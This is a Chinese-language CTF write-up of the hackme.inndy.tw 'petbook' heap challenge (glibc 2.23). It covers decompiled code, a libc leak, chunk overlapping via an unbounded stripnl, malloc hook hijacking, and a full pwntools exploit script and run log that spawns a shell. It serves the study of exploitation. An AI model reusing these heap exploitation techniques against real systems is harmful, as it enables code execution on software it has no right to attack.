hackme.inndy.tw petbook writeup

TOC

  1. 1. 更快的方法
    1. 1.1. 溢出点
  2. 2. 笨方法
    1. 2.1. 溢出点
    2. 2.2. 思路
      1. 2.2.1. 泄露libc
      2. 2.2.2. 构造heap布局
    3. 2.3. 完整脚本
      1. 2.3.1. 运行实例

本题原本有简单的方法,但是刚开始我没发现,所以用的方法比较复杂。

原题地址:https://hackme.inndy.tw/scoreboard/ 。 靶机环境是 glibc-2.23 。

源程序和相关文件下载:petbook.zip

更快的方法

我先介绍来自pwn大佬carlstar的思路。

溢出点

void __fastcall user_create(char *username, char *password)
{
User *v2; // rbp

if ( user_find_by_name(username) )
{
__printf_chk(1LL, "User %s existed!\n", username);
}
else
{
v2 = (User *)malloc(0x218uLL);
v2->uid = uid();
strncpy(v2->username, username, 0x100uLL);
strncpy(v2->password, password, 0x100uLL);
v2->admin = 0;
link_insert((link_list *)&userdb, (Post *)v2);
puts("User created");
}
}

user_create时没有初始化pet,可以用污染的chunk来设置pet,从而通过下面的代码实现任意读。

int user_loop()
{
User *v0; // rbx
const char *v1; // rdx
unsigned int v2; // eax
const char *v3; // rdx
Pet *v4; // rax
signed int v5; // eax

v0 = current_user;
if ( (magic ^ current_user->uid) & 0xFFFF0000 )
{
puts("corrupted object detected");
exit(1);
}
puts(asc_401E7C);
__printf_chk(1LL, "= Username: %s\n", v0->username);
puts("= Password: ****************");
v1 = "false";
if ( v0->admin )
v1 = "true";
__printf_chk(1LL, &unk_401EC7, v1);
v2 = link_count(&v0->post.next->next);
__printf_chk(1LL, "= Post Cnt: %d\n", v2);
v3 = "No";
if ( v0->pet )
v3 = "Yes";
__printf_chk(1LL, &unk_401EE7, v3);
v4 = v0->pet;
if ( v4 )
{
__printf_chk(1LL, "= Pet Name: %s\n", v4->name);
__printf_chk(1LL, "= Pet Type: %s\n", v0->pet->type);
}
...
}

之后泄露出magic之后,利用pet_rename实现任意写。

void __cdecl pet_rename()
{
User *v0; // rbx
Pet *v1; // rdx

v0 = current_user;
if ( (current_user->uid ^ magic) & 0xFFFF0000 )
{
puts("corrupted object detected");
exit(1);
}
v1 = current_user->pet;
if ( v1 )
{
if ( (LODWORD(v1->uid) ^ magic) & 0xFFFF0000 )
{
puts("corrupted object detected");
exit(1);
}
puts("Name your pet >>");
read_data((char *)v0->pet->name, 16LL);
stripnl((const char *)v0->pet->name);
}
else
{
puts("You don't have a pet");
}
}

笨方法

这个是我自己做的,方法比较笨。

溢出点

char *__fastcall stripnl(const char *a1)
{
char *v1; // rax

if ( !a1 )
return 0LL;
v1 = strchr(a1, '\n');
if ( v1 )
*v1 = 0;
return (char *)a1;
}

stripnl字符串可以将字符串后面字节为0x0a改为0x00,但是该函数,没有限制长度,所以存在溢出。

void __fastcall read_data(char *buf, __int64 length)
{
__int64 v2; // rbx
int v3; // eax

if ( length )
{
v2 = 0LL;
while ( 1 )
{
v3 = _IO_getc(stdin);
if ( v3 == 10 || v3 == -1 )
break;
buf[++v2 - 1] = v3;
if ( length == v2 )
return;
}
buf[v2] = 0;
}
}

read_data函数虽然为了null截断做了很好的防护,但是当输入的字符串长度为length,就没有办法null截断,因为没有null截断,我们可以读取到后面的内容。

思路

  1. 泄露libc
  2. 构造heap布局
  3. 劫持hook

泄露libc

New(0x160, 'hello\n') # 2

edit(2, 0x200, '0x200\n')
New(8, 'dddddddd') # 3

sh.sendlineafter(' >>\n', '2')
sh.recvuntil('dddddddd')
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - 0x3c3b20
log.success('libc_addr: ' + hex(libc_addr))

由于edit函数内部用的是realloc,所以申请的0x160chunk就会被freeunsorted bin中,那么自然会有main_arena指针残余,我们只要让输入的内容不被null截断即可泄露出该地址,那么只需要把Newsize设置为8则正好。

构造heap布局

这个就比较复杂了,用到的是stripnl函数的没有长度限制的漏洞。最终效果是chunk overlapping

先看看Post的布局:

00000000 Post            struc ; (sizeof=0x110, mappedto_7)
00000000 uid dd ?
00000004 title db 256 dup(?)
00000104 field_104 dd ?
00000108 content dq ?
00000110 Post ends

user_edit_post中,会对post->title进行stripnl操作,而该操作会影响到post->content指针,该指针指向heap

int user_edit_post()
{
...
puts("New title >>");
read_data(v3->title, 256LL);
stripnl(v3->title);
...
}

所以我们可以通过使用污染的chunk来使得post->field_104的值不为空,那么stripnl函数便可以修改到post->content

post->content指向的heap地址的为0x.......0a..时(点为任意十六进制),则在stripnl操作中就会被修改为0x.......00..。所以我们只需要提前在这个地址布置好heap结构即可。

New(0x118, 'e' * 0x118) # 4
New(0x18, '\n') # 5
New(0x18, '\n') # 6
New(0x18, '\n') # 7
New(0x18, '\n') # 8
New(0x1f8, 'f' * 0x18 + p64(0x1e1) + '\n') # 9

上面脚本中,第9个就是布置地址为0x.......0020fake chunksize

edit(5, 0xf8, '\n')
edit(6, 0x58, '\n')
edit(7, 0x98, '\n')
edit(8, 0xf8, '\n')

edit(4, 0x4f0, '\n')
## pause()
New(0x68, '0x68\n') # 10
edit(10, 0x208, '\n')

通过上面一系列的布局之后,则使得第10个postcontent地址则刚好为0x........a20,受随机话影响,当地址为0x.......0a20则会导致溢出,所以几率是1/16

下面是调试结果:

Breakpoint 1, 0x0000000000400c84 in stripnl ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────
RAX 0x100
RBX 0xf4f830 ◂— 0x6363636308a8000a /* '\n' */
RCX 0x7f745b87a790 (_IO_stdfile_0_lock) ◂— 0x0
RDX 0x63
RDI 0xf4f834 ◂— 0x6363636363636363 ('cccccccc')

...

Breakpoint stripnl
pwndbg> x/48gx 0xf4f820
0xf4f820: 0x0000000000000000 0x0000000000000121
0xf4f830: 0x6363636308a8000a 0x6363636363636363
0xf4f840: 0x6363636363636363 0x6363636363636363
0xf4f850: 0x6363636363636363 0x6363636363636363
0xf4f860: 0x6363636363636363 0x6363636363636363
0xf4f870: 0x6363636363636363 0x6363636363636363
0xf4f880: 0x6363636363636363 0x6363636363636363
0xf4f890: 0x6363636363636363 0x6363636363636363
0xf4f8a0: 0x6363636363636363 0x6363636363636363
0xf4f8b0: 0x6363636363636363 0x6363636363636363
0xf4f8c0: 0x6363636363636363 0x6363636363636363
0xf4f8d0: 0x6363636363636363 0x6363636363636363
0xf4f8e0: 0x6363636363636363 0x6363636363636363
0xf4f8f0: 0x6363636363636363 0x6363636363636363
0xf4f900: 0x6363636363636363 0x6363636363636363
0xf4f910: 0x6363636363636363 0x6363636363636363
0xf4f920: 0x6363636363636363 0x6363636363636363
0xf4f930: 0x6565656563636363 0x0000000000f50a30
0xf4f940: 0x0000000000000120 0x0000000000000021
0xf4f950: 0x0000000000f4f4b0 0x0000000000f4f710
0xf4f960: 0x0000000000000000 0x0000000000000121
0xf4f970: 0x6363636308a80005 0x6363636363636363
0xf4f980: 0x6363636363636363 0x6363636363636363
0xf4f990: 0x6363636363636363 0x6363636363636363

上面的调试信息结果已经很明显了,rdi(第一个参数)为0xf4f834,由于没有null截断,最终将修改0xf4f930 + 8上的0x0000000000f50a300x0000000000f50030(post->content指针)。

在看看0x0000000000f50030地址的情况,由于之前我们已经布置好了栈结构,所以这里会chunk overlap

其布局如下:

pwndbg> x/16gx 0x0000000000f50030-0x30
0xf50000: 0x0000000000000000 0x0000000000000201
0xf50010: 0x6666666666666666 0x6666666666666666
0xf50020: 0x6666666666666666 0x00000000000001e1
0xf50030: 0x0000000000000000 0x0000000000000000
0xf50040: 0x0000000000000000 0x0000000000000000
0xf50050: 0x0000000000000000 0x0000000000000000
0xf50060: 0x0000000000000000 0x0000000000000000
0xf50070: 0x0000000000000000 0x0000000000000000

最后就是通常的劫持hook操作。

完整脚本

受随机化影响,概率是1/16

##!/usr/bin/python2
## -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

## Create a symbol file for GDB debugging
try:
gdb_symbols = '''
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

void my_init(void) __attribute__((constructor));

void my_init()
{
long long p = (long long)malloc(0xf8);
free((char *)p);
if((p & 0xf000) != 0xf000)
{
exit(-1);
}
}
'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = 'amd64'
## context.arch = 'i386'
## context.log_level = 'debug'
execve_file = './petbook'
## sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
## sh = remote('hackme.inndy.tw', 7710)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
## libc = ELF('/lib/i386-linux-gnu/libc.so.6')

## Create temporary files for GDB debugging
try:
gdbscript = '''
# b *0x400F89
b stripnl
# b malloc
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def New(size, content):
sh.sendlineafter(' >>\n', '1')
sh.sendafter('Title >>\n', 'c' * 256)
sh.sendlineafter('Content Length >>\n', str(size))
sh.sendafter('Content >>\n', content)

def edit(id, size, content):
sh.sendlineafter(' >>\n', '3')
sh.sendlineafter('Post id >>\n', str(id))
sh.sendafter('New title >>\n', 'c' * 256)
sh.sendlineafter('New content size >>\n', str(size))
sh.sendafter('New Content >>\n', content)

## pause()

sh.sendlineafter(' >>\n', '1')
sh.sendlineafter('Username >>\n', '1' * 20 + p64(0x61))
sh.sendlineafter('Password >>\n', '1')

sh.sendlineafter(' >>\n', '2')
sh.sendlineafter('Username >>\n', '1' * 20 + p64(0x61))
sh.sendlineafter('Password >>\n', '1')

New(0x160, 'hello\n') # 2

edit(2, 0x200, '0x200\n')
New(8, 'dddddddd') # 3

sh.sendlineafter(' >>\n', '2')
sh.recvuntil('dddddddd')
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - libc.symbols['__malloc_hook'] - 0x10
log.success('libc_addr: ' + hex(libc_addr))


New(0x118, 'e' * 0x118) # 4
New(0x18, '\n') # 5
New(0x18, '\n') # 6
New(0x18, '\n') # 7
New(0x18, '\n') # 8
New(0x1f8, 'f' * 0x18 + p64(0x1e1) + '\n') # 9



edit(5, 0xf8, '\n')
edit(6, 0x58, '\n')
edit(7, 0x98, '\n')
edit(8, 0xf8, '\n')

edit(4, 0x4f0, '\n')
## pause()
New(0x68, '0x68\n') # 10
edit(10, 0x208, '\n')

edit(6, 0x68, '\n')
edit(6, 0x208, '\n')

edit(9, 0x1f8, 'y' * 0x20 + p64(main_arena_addr - 0x33) + '\n')
edit(9, 0x1f8, 'y' * 0x18 + '\x71\0\0\0\n')


New(0x68, '0x68\n') # 11
New(0x68, '/bin/sh\0'.ljust(0xb, 'z') + p64(libc_addr + libc.symbols['system']) + '\n') # 12
## pause()
sh.sendlineafter(' >>\n', '3')
sh.sendlineafter('Post id >>\n', str(12))
sh.sendafter('New title >>\n', 'c' * 256)
sh.sendlineafter('New content size >>\n', str(0x68))

sh.sendline('echo -n hello')
result = sh.recvn(5)
print(result)
if(result != 'hello'):
raise Exception('no shell')
sh.sendline('cat flag')

sh.interactive()
clear()

运行实例

ex@Ex:~/test$ ./exp.sh exp.py 

...

times 9

[+] Starting local process './petbook': pid 21975
[*] '/home/ex/test/petbook'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
[*] '/home/ex/test/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] main_arena_addr: 0x7f508231db20
[+] libc_addr: 0x7f5081f5a000
[+] one_gadget: 0x7f5081f9f25a
hello
[*] Switching to interactive mode
cat: flag: No such file or directory
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$